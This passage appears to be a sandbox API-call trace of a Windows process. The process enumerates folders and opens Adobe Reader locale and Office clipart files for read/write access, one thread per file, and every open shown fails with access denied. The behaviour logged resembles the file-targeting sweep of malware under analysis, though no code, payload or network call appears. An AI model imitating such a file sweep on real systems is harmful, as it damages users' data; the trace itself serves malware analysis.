returned 0 [0158.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\acroform.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.809] GetLastError () returned 0x5 [0158.809] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Acroform.SVE", dwFileAttributes=0x20) returned 0 [0158.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ada28) returned 1 Thread: id = 4075 os_tid = 0x1434 [0157.028] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve")) returned 0x20 [0158.807] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE", dwFileAttributes=0x20) returned 0 [0158.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.807] GetLastError () returned 0x5 [0158.807] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE", dwFileAttributes=0x20) returned 0 [0158.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b498) returned 1 Thread: id = 4076 os_tid = 0x1438 [0157.029] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve")) returned 0x20 [0159.107] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE", dwFileAttributes=0x20) returned 0 [0159.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.107] GetLastError () returned 0x5 [0159.107] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE", dwFileAttributes=0x20) returned 0 [0159.107] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77168) returned 1 Thread: id = 4077 os_tid = 0x143c [0157.029] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve")) returned 0x20 [0159.133] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE", dwFileAttributes=0x20) returned 0 [0159.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.133] GetLastError () returned 0x5 [0159.133] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE", dwFileAttributes=0x20) returned 0 [0159.134] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad7a8) returned 1 Thread: id = 4103 os_tid = 0x14a4 [0157.070] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve")) returned 0x20 [0159.108] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE", dwFileAttributes=0x20) returned 0 [0159.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.108] GetLastError () returned 0x5 [0159.108] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE", dwFileAttributes=0x20) returned 0 [0159.108] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77200) returned 1 Thread: id = 4104 os_tid = 0x14a8 [0157.071] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve")) returned 0x20 [0159.123] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE", dwFileAttributes=0x20) returned 0 [0159.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.123] GetLastError () returned 0x5 [0159.123] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE", dwFileAttributes=0x20) returned 0 [0159.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77298) returned 1 Thread: id = 4105 os_tid = 0x14ac [0157.071] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ebook.sve")) returned 0x20 [0159.109] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE", dwFileAttributes=0x20) returned 0 [0159.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ebook.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.109] GetLastError () returned 0x5 [0159.109] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE", dwFileAttributes=0x20) returned 0 [0159.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77330) returned 1 Thread: id = 4106 os_tid = 0x14b0 [0157.071] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve")) returned 0x20 [0159.110] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE", dwFileAttributes=0x20) returned 0 [0159.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.110] GetLastError () returned 0x5 [0159.110] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE", dwFileAttributes=0x20) returned 0 [0159.110] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae608) returned 1 Thread: id = 4108 os_tid = 0x14b8 [0157.072] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\makeaccessible.sve")) returned 0x20 [0159.137] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE", dwFileAttributes=0x20) returned 0 [0159.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\makeaccessible.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.137] GetLastError () returned 0x5 [0159.137] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE", dwFileAttributes=0x20) returned 0 [0159.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934288) returned 1 Thread: id = 4111 os_tid = 0x14c4 [0157.073] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve")) returned 0x20 [0159.115] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE", dwFileAttributes=0x20) returned 0 [0159.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.115] GetLastError () returned 0x5 [0159.115] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE", dwFileAttributes=0x20) returned 0 [0159.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad028) returned 1 Thread: id = 4115 os_tid = 0x14d4 [0157.076] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\saveasrtf.sve")) returned 0x20 [0159.134] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE", dwFileAttributes=0x20) returned 0 [0159.134] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\saveasrtf.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.135] GetLastError () returned 0x5 [0159.135] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE", dwFileAttributes=0x20) returned 0 [0159.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adc08) returned 1 Thread: id = 4117 os_tid = 0x14dc [0157.083] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve")) returned 0x20 [0159.117] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE", dwFileAttributes=0x20) returned 0 [0159.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.118] GetLastError () returned 0x5 [0159.118] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE", dwFileAttributes=0x20) returned 0 [0159.118] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeba8) returned 1 Thread: id = 4118 os_tid = 0x14e0 [0157.084] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c76160 [0157.084] wcscpy (in: _Dest=0x12c76160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" [0157.084] wcscat (in: _Dest=0x12c76160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\" [0157.084] wcscat (in: _Dest=0x12c76160, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*" [0157.084] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92ac90 [0157.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93aef8 [0159.119] wcscmp (_String1=".", _String2=".") returned 0 [0159.119] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.119] wcscmp (_String1="..", _String2=".") returned 1 [0159.119] wcscmp (_String1="..", _String2="..") returned 0 [0159.119] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0159.119] wcscmp (_String1="DEXShare.asfx", _String2=".") returned 1 [0159.119] wcscmp (_String1="DEXShare.asfx", _String2="..") returned 1 [0159.119] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b808 [0159.119] wcscpy (in: _Dest=0x97b808, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" [0159.119] wcscat (in: _Dest=0x97b808, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\" [0159.119] wcscat (in: _Dest=0x97b808, _Source="DEXShare.asfx" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx" [0160.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1634 [0160.942] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0160.942] wcscmp (_String1="Services.asfx", _String2=".") returned 1 [0160.942] wcscmp (_String1="Services.asfx", _String2="..") returned 1 [0160.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b5f8 [0160.942] wcscpy (in: _Dest=0x97b5f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" [0160.942] wcscat (in: _Dest=0x97b5f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\" [0160.942] wcscat (in: _Dest=0x97b5f8, _Source="Services.asfx" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" [0160.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1630 [0160.945] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0160.945] FindClose (in: hFindFile=0x93aef8 | out: hFindFile=0x93aef8) returned 1 [0160.945] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92ac90) returned 1 [0160.945] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76160) returned 1 [0160.945] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77628) returned 1 Thread: id = 4119 os_tid = 0x14e4 [0157.084] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve")) returned 0x20 [0159.126] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE", dwFileAttributes=0x20) returned 0 [0159.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.127] GetLastError () returned 0x5 [0159.127] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE", dwFileAttributes=0x20) returned 0 [0159.127] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adac8) returned 1 Thread: id = 4120 os_tid = 0x14e8 [0157.085] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve")) returned 0x20 [0159.119] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE", dwFileAttributes=0x20) returned 0 [0159.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.120] GetLastError () returned 0x5 [0159.120] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE", dwFileAttributes=0x20) returned 0 [0159.120] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9dc8) returned 1 Thread: id = 4121 os_tid = 0x14ec [0157.085] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve")) returned 0x20 [0159.121] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE", dwFileAttributes=0x20) returned 0 [0159.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.121] GetLastError () returned 0x5 [0159.121] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE", dwFileAttributes=0x20) returned 0 [0159.121] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9e68) returned 1 Thread: id = 4122 os_tid = 0x14f0 [0157.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0157.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", dwFileAttributes=0x20) returned 0 [0157.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.086] GetLastError () returned 0x5 [0157.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", dwFileAttributes=0x20) returned 0 [0157.086] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8670) returned 1 Thread: id = 4123 os_tid = 0x14f4 [0157.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0160.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", dwFileAttributes=0x20) returned 0 [0160.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.453] GetLastError () returned 0x5 [0160.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", dwFileAttributes=0x20) returned 0 [0160.453] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9442b8) returned 1 Thread: id = 4124 os_tid = 0x14f8 [0157.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0158.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", dwFileAttributes=0x20) returned 0 [0158.629] CreateFileW 